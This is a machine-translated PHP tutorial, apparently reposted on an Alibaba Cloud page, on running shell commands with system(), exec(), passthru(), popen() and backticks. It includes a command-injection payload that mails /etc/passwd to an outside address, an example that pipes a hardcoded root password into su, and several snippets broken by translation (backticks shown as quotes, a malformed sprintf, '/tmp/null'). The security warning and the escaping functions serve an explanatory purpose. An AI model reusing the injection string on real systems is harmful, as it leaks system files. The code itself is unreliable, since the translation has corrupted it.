PHP Execution System External command the System () exec () PassThru () _php Tips

Source: Internet
Author: User
Tags php script

Difference:
System () output and returns the last line of shell results.
EXEC () does not output the result, returns the last line of shell results, and all results can be saved to a returned array.
PassThru () Simply invokes the command, outputting the command's results directly to the standard output device.
Same point: All can get the status Code of command execution
Demo

Copy Code code as follows:

System (' dir ');
exec (' dir ');
PassThru (' dir ');
Echo ' dir ';

PHP as a server-side scripting language, like writing simple, or complex dynamic Web pages such tasks, it is fully competent. But things are not always the case, sometimes in order to implement a function, you have to rely on the operating system of external programs (or called commands), so you can do more with less.
So is it possible to invoke an external command in a PHP script? If you can, how to do it? What are some of the concerns? I am sure you will be able to answer these questions after reading this article.
Is it OK?
The answer is yes. PHP, like any other programming language, can simply invoke an external command within a program and is simple: just use one or several functions.
Prerequisite conditions
Because PHP is basically for web application development, security is an important aspect of people's thinking. So the PHP designers added a door to PHP: Safe mode. If you are running in Safe mode, the PHP script will be subject to the following four limitations:
Execute external command
There are some restrictions when opening files
Connecting to the MySQL database
HTTP-based Authentication
In safe mode, only external programs in a particular directory can be executed, and calls to other programs are rejected. This directory can be specified in the php.ini file using the Safe_mode_exec_dir directive, or in compiling PHP with the--with-exec-dir option, and the default is/usr/local/php/bin.
If you call an external command that should be able to output the result (meaning that the PHP script is not wrong) and get a blank, it is likely that your network administrator has already run PHP in safe mode.
How to do it?
Calling an external command in PHP can be implemented in three ways as follows:
1 specialized functions provided in PHP
PHP provides a total of 3 functions for executing external commands: System (), exec (), PassThru ().
System ()
Prototype: string system (String command [, int return_var])
The system () function is similar in other languages, it executes a given command, outputs, and returns results. The second parameter is optional and is used to get the status code after the command is executed.
Example:
Copy Code code as follows:

<?php
System ("/usr/local/bin/webalizer/webalizer");
?>

EXEC ()
Prototype: string exec (String command [, string array [, int return_var]])
The exec () function is similar to system () and executes the given command without outputting the result, but instead returns the last line of the result. Although it returns only the last line of the command result, the complete result can be obtained with the second parameter array, by appending the result line by row to the end of the array. So if the array is not empty, it's best to use unset () to clear it before calling. You can use the third parameter to obtain the status code of the command execution only if you specify the second parameter.
Example:
Copy Code code as follows:

<?php
EXEC ("/bin/ls-l");
EXEC ("/bin/ls-l", $res);
EXEC ("/bin/ls-l", $res, $RC);
?>

PassThru ()
Prototype: void PassThru (String command [, int return_var])
PassThru () invokes only the command and does not return any results, but outputs the command's running results directly to the standard output device. So the PassThru () function is often used to invoke programs such as the Pbmplus (a tool that processes images under UNIX, outputting the stream of binary raw images). Likewise it can get the status code of the command execution.
Example:
Copy Code code as follows:

<?php
Header ("Content-type:image/gif");
PassThru ("./ppmtogif hunte.ppm");
?>

2 using the Popen () function to open the process
The above method simply executes the command, but cannot interact with the command. But there are times when you have to enter something into the command, such as adding a Linux system user to call Su to change the current user to root, and the SU command must enter the root password on the command line. In this case, it is obviously not possible to use the method mentioned above.
The Popen () function opens a process pipeline to execute the given command, returning a file handle. Now that you are returning a file handle, you can read and write to it. In PHP3, this handle can only be done in a single mode of operation, either written or read; Starting with PHP4, you can read and write at the same time. Unless the handle is open in a pattern (read or write), you must call the Pclose () function to close it.
Example 1:
Copy Code code as follows:

<?php
$FP =popen ("/bin/ls-l", "R");
?>

Example 2:
Copy Code code as follows:

<?php
/* How to add a system user in PHP
Here's a routine that adds a user named James,
The root password is verygood. For reference only
*/
$sucommand = "Su--login root--command";
$useradd = "Useradd";
$ROOTPASSWD = "Verygood";
$user = "James";
$user _add = sprintf ("%s"%s "", $sucommand, $useradd, $user);
$fp = @popen ($user _add, "w");
@fputs ($fp, $ROOTPASSWD);
@pclose ($FP);
?>

3 with the reverse apostrophe (', that is, the ESC key on the keyboard below, and ~ on the same top)
This method has not been included in the PHP documentation before, as a sneak peek exists. The method is simple, using two apostrophes to enclose the command to be executed as an expression, the value of which is the result of the command execution. Such as:
Copy Code code as follows:

<?php
$res = '/bin/ls-l ';
Echo '
'. $res. '
';
?>

The output of this script is like this:
Hunte.gif
hunte.ppm
Jpg.htm
Jpg.jpg
passthru.php
What do you have to think about?
Two issues to consider: security and timeout.
Look at security first. For example, you have a small online store, so the list of products you can sell is placed in a file. You write an HTML file with a form, ask your users to enter their email address, and then send the product list to them. If you don't use the PHP mail (or never heard) function, you call the Linux/unix system's mail program to send the file. The program is like this:
Copy Code code as follows:

<?php
System ("Mail $to < products.txt");
echo "Our catalogue has been sent to your mailbox: $to";
?>

With this code, there is no danger to the average user, but there are actually very large security vulnerabilities. If a malicious user enters such an email address:
'--bla; Mail someone@domain.com </etc/passwd; '
Then this order eventually becomes:
' Mail--bla; Mail someone@domain.com </etc/passwd; < Products.txt '
I believe that no matter which network manager sees such an order, will frighten a cold sweat to come.
Fortunately, PHP provides us with two functions: Escapeshellcmd () and Escapeshellarg (). function Escapeshellcmd to escape from a string all the characters that might have been hidden from the shell to execute another command. These characters have special meanings in the shell, like semicolons (), redirects (>), and read from files (<). The function escapeshellarg is used to handle the parameters of the command. It adds a single quotation mark around the given string and escapes the single quotation mark in the string so that the string can be safely used as a parameter to the command.
Let's look at the timeout problem again. If the command to execute takes a long time, you should put the command in the background of the system to run it. However, by default, functions such as system () wait until the command is finished running to return (actually the output of the command), which will certainly cause the PHP script to timeout. The solution is to redirect the output of the command to another file or stream, such as:
Copy Code code as follows:

<?php
System ("/usr/local/bin/order_proc >/tmp/null &");
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.